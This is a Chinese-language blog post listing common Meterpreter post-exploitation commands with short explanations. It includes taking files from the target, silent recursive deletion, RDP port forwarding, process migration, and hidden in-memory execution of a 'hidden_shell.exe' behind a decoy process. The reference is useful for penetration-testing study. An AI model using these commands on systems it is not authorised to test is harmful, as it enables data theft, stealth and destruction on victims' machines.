Meterpreter常用命令介紹
阿新 • • 發佈:2019-02-17
基本命令
命令 | 解釋 |
---|---|
background | 將meterpreter終端隱藏在後臺(快捷鍵ctrl+z) |
sessions | 檢視已經成功獲得的會話,如果想繼續與某會話互動,可以使用sessions -i 命令. |
quit | 直接關閉當前的meterpreter會話,返回MSF終端. |
shell | 獲取目標系統的控制檯shell. |
irb | 在meterpreter會話與ruby終端互動 |
檔案系統命令
命令 | 解釋 |
---|---|
cat | 檢視檔案內容. |
getwd | 獲得目標機器上當前的工作目錄,getlwd,這個命令可以獲得當前系統的工作目錄. |
upload | 可以上傳檔案或資料夾到目標機器上;upload 要上傳的檔案 C:\Users\buzz\Desktop |
download | 從目標機器上下載檔案或資料夾,注意windows路徑要用雙斜槓進行轉義. download C:\test.txt /root/home/test |
edit | 呼叫vi編輯器,對目標機器上的檔案進行編輯;edit c:\windows\system32\drivers\etc\hosts |
search | 可通過search -h檢視幫助資訊,引數-d指定搜尋的起始目錄或驅動,如果為空,將進行全盤搜尋;引數-f指定搜尋的檔案或部分檔名,支援星號()匹配;引數-r遞迴搜尋子目錄 search -d c:\windows -f |
rm | 刪除目標機器的檔案. |
rmdir /s/q c:\test | 進入shell後使用此命令可以刪除目錄下的所有檔案和資料夾,/s表示所有子目錄和檔案/q表示安靜模式,不顯示yes or no. |
網路命令
命令 | 解釋 |
---|---|
ipconfig | 檢視目標機器網路介面資訊 |
portfwd | 它是meterpreter自帶的埠轉發器,用於把目標機器的埠轉發到本地埠;假設目標機開放了3389埠,使用如下命令將其轉發到本地3456埠:portfwd add -l 3456 -p 3389 -r 192.168.88.110 |
rdesktop -u 使用者名稱 -p 密碼 ip:埠 | 連線開啟遠端桌面的windows系統. |
route | 顯示目標機器的路由資訊. |
系統命令
命令 | 解釋 |
---|---|
ps | 用於獲得目標主機上正在執行的程序資訊. |
migrate pid | 將Meterpreter會話從一個程序遷移到另一個程序的記憶體空間中,可以配合ps -ef |grep explorer.exe |
execute | 在目標機器上執行檔案. execute -H -i -f cmd.exe 直接與cmd進行互動. 引數-H 表示隱藏執行 -i 表示直接與cmd互動. |
getpid | 獲得當前會話所在程序的PID值. |
kill | 用於終結指定的PID程序. |
getuid | 用於獲得執行meterpreter會話的使用者名稱,從而檢視當前會話具有的許可權. |
sysinfo | 用於得到目標系統的一些資訊,例如機器名,作業系統等 |
shutdown | 用於關閉機器,meterpreter會話會斷開. |
另外execute命令的-m引數支援直接從記憶體中執行攻擊者的可執行檔案. execute -H -m -d regedit.exe -f hidden_shell.exe
具體引數介紹:
Executes a command on the remote machine.
OPTIONS:
-H Create the process hidden from view.
-a The arguments to pass to the command.
-c Channelized I/O (required for interaction).
-d The ‘dummy’ executable to launch when using -m.
-f The executable command to run.
-h Help menu.
-i Interact with the process after creating it.
-k Execute process on the meterpreters current desktop
-m Execute from memory.
-s Execute process in a given session as the session user
-t Execute process with currently impersonated thread token